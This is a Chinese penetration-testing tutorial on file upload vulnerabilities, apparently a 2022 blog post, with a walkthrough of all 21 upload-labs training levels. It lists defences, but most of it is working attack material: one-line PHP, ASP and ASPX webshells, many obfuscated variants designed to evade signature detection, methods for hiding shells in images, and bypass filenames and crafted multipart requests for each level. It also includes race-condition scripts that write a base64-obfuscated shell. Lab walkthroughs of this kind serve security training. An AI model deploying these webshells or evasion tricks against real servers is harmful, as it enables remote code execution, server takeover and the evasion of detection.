渗透测试-12：文件上传漏洞

文件上传漏洞原理

在文件上传的功能处，若服务端未对上传的文件进行严格验证和过滤，导致攻击者上传恶意的脚本文件时，就有可能获取执行服务端命令的能力，这种漏洞称为文件上传漏洞

文件上传漏洞危害

上传恶意文件，getshell，控制服务器

成因

服务器的错误配置
开源编码器漏洞
本地上传上限制不严格被绕过
服务器端过滤不严格被绕过

防御方式

白名单判断文件后缀是否合法
文件上传的目录设置为不可执行
判断文件类型
使用随机数改写文件名和文件路径
单独设置文件服务器的域名
使用安全设备防御

常见上传功能点

相册、头像上传
视频、照片分享
附件上传（论坛发帖、邮箱）
文件管理器

文件上传校验方式

常见木马

一句话木马

一句话木马，又称小马、网马、后门
即利用简单少量代码实现命令执行、文件管理等目的

不同语言的一句话木马

/*asp一句话木马*/
<%execute (request("value"))%>

/*php一句话木马*/
<?php @eval($_POST[‘value’]);?>

/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

木马植入的方式

方式一：以文件的形式上传到服务器端，上传文件可以利用 MySQL 的 into outfile、表单文件上传等方式上传
方式二：以字符串的形式上传到服务器端，通过MySQL的日志方式、shell 的 echo 方式、命令执行、反序列化等方式写入一句话代码，可写入新文件或者已存在的页面
方式三：图片马+文件包含漏洞，通过上传图片马，结合文件包含漏洞上传 webshell

图片马制作

HxD编辑器插入

用 HxD 打开图片，最后的位置写入一句话保存，退出

cmd命令生成

其中b表示以二进制文件，a表示以ascii文件

copy 1.jpg/ + shell.php/a shell.jpg

图片版权属性中插入

Windows下右键图片，在属性->详细信息->版权内插入一句话即可

一句话木马绕过

函数替换

php 中除了 eval，还有其他函数也可以执行代码，比如 assert 函数
命令执行函数 system、passthru、exec、shell_exec 等

<?php asset($_POST["cmd"]);?>

双变量绕过

<?php $_POST["a"]($_POST["b"]);?>

如：post:a=assert&b=phpinfo()

字符串变形绕过

<?php
$a = substr_replace("assxxx","ert",3);
$a($_POST["cmd"]);
?>

其他字符串处理函数

ucwords() //函数把字符串中每个单词的首字符转换为大写
ucfirst() //函数把字符串中的首字符转换为大写
trim() //函数从字符串的两端删除空白字符和其他预定义字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //函数把字符串转换为大写
strtolower() //函数把字符串转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码

定义函数绕过

<?php
function test($a){
    $a($_POST["cmd"]);
}
test("assert");
?>

回调函数绕过

概念：指调用函数的时候，将另一个函数作为参数传递到调用的函数中
功能：使用回调函数，是为了可以将一段自己定义的功能传到函数内部使用

<?php
function test($func,$param){
    return $func($param);
}    
test("assert",$_POST["cmd"]);
?>

<?php call_user_func($_POST["a"],$_POST["b"]);?>

<?php forward_static_call_array("assert",array($_POST["cmd"]));?>

其他回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

类的调用绕过

<?php
class Test{
    var $a;
    var $b;
    function __construct($a, $b) {
        $this->a = $a;
        $this->b = $b;
    }
    function demo() {
        array_map($this->a,$this->b);
    }
}  
$t = new Test("assert",array($_POST["cmd"]));
$t->demo();
?>

编码绕过

<?php
$a = base64_decode($_POST["cmd"]);
assert($a);
?>

<?php
// YXNzZXJ0 为 assert 经过 base64 编码后的结果
$a = base64_decode("YXNzZXJ0");
$a($_POST["cmd"]);
?>

特殊字符干扰绕过

<?php
$a = ("!"^"@")."ssert";
$a($_POST["cmd"]);
?>

无字符特征码绕过

<?php
// assert($_POST["cmd"]);
$a = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
$a(${chr(95).chr(80).chr(79).chr(83).chr(84)}[chr(34).chr(99).chr(109).chr(100).chr(34)]);
?>

<?php
$_ = ("$"^"{}").("~"^".").("/"^"`").("-"^"~").("("^"|");
// $_POST["a"]($_POST["b"]);
${$_}["a"](${$_}["b"]);
?>

常见绕过方式

靶场练习

靶场下载地址：https://github.com/c0ny1/upload-labs

常见过滤函数

trim() // 移除字符串两侧的空白字符或其他预定义字符
strrchr() // 查找字符串在另一个字符串中最后一次出现的位置，并返回从该位置到字符串结尾的所有字符
strtolower() // 把字符串转换为小写
str_ireplace() // 替换字符串中的一些字符（不区分大小写）
strrpos() // 查找字符串在另一字符串中最后一次出现的位置
end() // 将数组的内部指针指向最后一个单元
reset() // 将数组的内部指针指向第一个单元
getimagesize() // 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度

// 从字符串末尾开始逐个字符判断，若是.则去除继续判断下一个字符，直到碰到非.的字符，才返回剩下的字符串
function deldot($s){
	for($i = strlen($s)-1;$i>0;$i--){
		$c = substr($s,$i,1);
		if($i == strlen($s)-1 and $c != '.'){
			return $s;
		}
		if($c != '.'){
			return substr($s,0,$i+1);
		}
	}
}

Pass-01

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

前端绕过，删除前端表单数据中的JavaScript代码

Pass-02

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
	$temp_file = $_FILES['upload_file']['tmp_name'];
	$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
}

MIME类型检测绕过，BurpSuite抓包改包

Content-Type: image/jpeg

Pass-03

$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
}

黑名单绕过，BurpSuite抓包改包

双写::$DATA绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.phtml"
Content-Disposition: filename="shell.php::$DA::$DATATA"

Pass-04

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
}

. .绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php. ."

.htaccess绕过，先上传 .htaccess 文件，允许解析当前目录的 .jpg 文件，.htaccess 文件写入如下内容

SetHandler application/x-httpd-php

Pass-05

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
}

apache 陌生后缀解析绕过，httpd.conf 中取消 addtype 注释，如：shell.php.xxx

Pass-06

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
}

大小写绕过，利用BurpSuite Intruder模块爆破php大小写后缀

.htaccess绕过 先上传 .htaccess 文件解析当前目录的 .jpg 文件，.htaccess 文件写入如下内容

SetHandler application/x-httpd-php

双写::$DATA绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php::$DA::$DATATA"

Pass-07

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
}

空格绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php "

Pass-08

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
}

点号绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php."

Pass-09

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
}

::$DATA绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php::$DATA"

Pass-10

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
}

. .绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.php. ."

Pass-11

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;

双写绕过，BurpSuite抓包改包

Content-Disposition: filename="shell.pphphp"

Pass-12

$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
}

%00截断GET型(php<5.3.4、magic_quotes_gpc=off)，BurpSuite抓包改包

POST /upload-labs/Pass-12/index.php?save_path=../upload/shell.php%00
Content-Disposition: filename="shell.jpg"
Content-Type: image/jpeg

Pass-13

$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
}

0x00截断POST型(php<5.3.4、magic_quotes_gpc=off)，BurpSuite抓包改包

Content-Disposition: filename="shell.jpg"
Content-Type: image/jpeg
在Hex中修改路径：../upload/ => ../upload/shell.php0 => ../upload/shell.php

Pass-14

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); // 只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
    $fileType = '';
    switch($typeCode){
        case 255216:
            $fileType = 'jpg';
            break;
        case 13780:
            $fileType = 'png';
            break;
        case 7173:
            $fileType = 'gif';
            break;
        default:
            $fileType = 'unknown';
        }
        return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

gif头部绕过，修改一句话木马文件，在头部加上 GIF89a，将文件重命名为 .gif 后缀，再利用文件包含：

?file=upload/4420220324224731.gif

Pass-15

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

getimagesize()绕过，方法与上一题相同

Pass-16

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

exif_imagetype()绕过,开启php_exif后，方法与上一题相同

Pass-17

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];
    $target_path=UPLOAD_PATH.'/'.basename($filename);
    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);
    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);
            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }
    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片！";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }
    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }
}

二次渲染绕过，上传一个正常图片，然后下载下来与原来的图片做对比，用工具找到没有发生改变的地方，写入一句话，保存后再次上传

Pass-18

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        // 此处有三种状态，改名、删除、等待
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

条件竞争绕过，先开启 python 请求脚本，再用 BurpSuite 爆破模块的 Null payloads 模式使用多线程一直发包

# 创建 read-shell.py
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            a = requests.get("http://vm.com/upload-labs/upload/write-shell.php")
            # 下面字符串为通过 md5 加密后的 1
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print( "OK")
                break
        except Exception as e:
            pass
        i+=1
main()

// 创建 write-shell.php
<?php
echo md5(1);
// YXNzZXJ0 为通过 base64 加密后的 assert 
fputs(fopen('shell.php','w'),'<?php $a=base64_decode("YXNzZXJ0");$a($_POST["cmd"]);?>');
?>

Pass-19

var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z", ".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );

# 创建 7z-read-shell.py
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end='\r')
            # 此处与上一题的路径有区别,为靶场根路径，上传上去的文件命名为 uploadwrite-shell.php.7z
            a = requests.get("http://vm.com/upload-labs/upload7z-write-shell.php.7z")
            # 下面字符串为通过 md5 加密后的 1
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                print( "OK")
                break
        except Exception as e:
            pass
        i+=1
main()

// 创建 7z-write-shell.php.7z
<?php
echo md5(1);
// YXNzZXJ0 为通过 base64 加密后的 assert 
fputs(fopen('shell.php','w'),'<?php $a=base64_decode("YXNzZXJ0");$a($_POST["cmd"]);?>');
?>

Pass-20

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
}

/.绕过，BurpSuite抓包改包，将 upload-19.jpg 改为 upload-19.php/.

Pass-21

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

BurpSuite抓包改包

-----------------------------36907519793934983823258491756
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg

<?php assert($_POST["cmd"]);?>
-----------------------------36907519793934983823258491756
Content-Disposition: form-data; name="save_name[0]"

upload-20.php/
-----------------------------36907519793934983823258491756
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------36907519793934983823258491756
Content-Disposition: form-data; name="submit"

posted @ 2022-03-26 14:42 toki-plus 阅读(635) 评论(0) 编辑收藏举报

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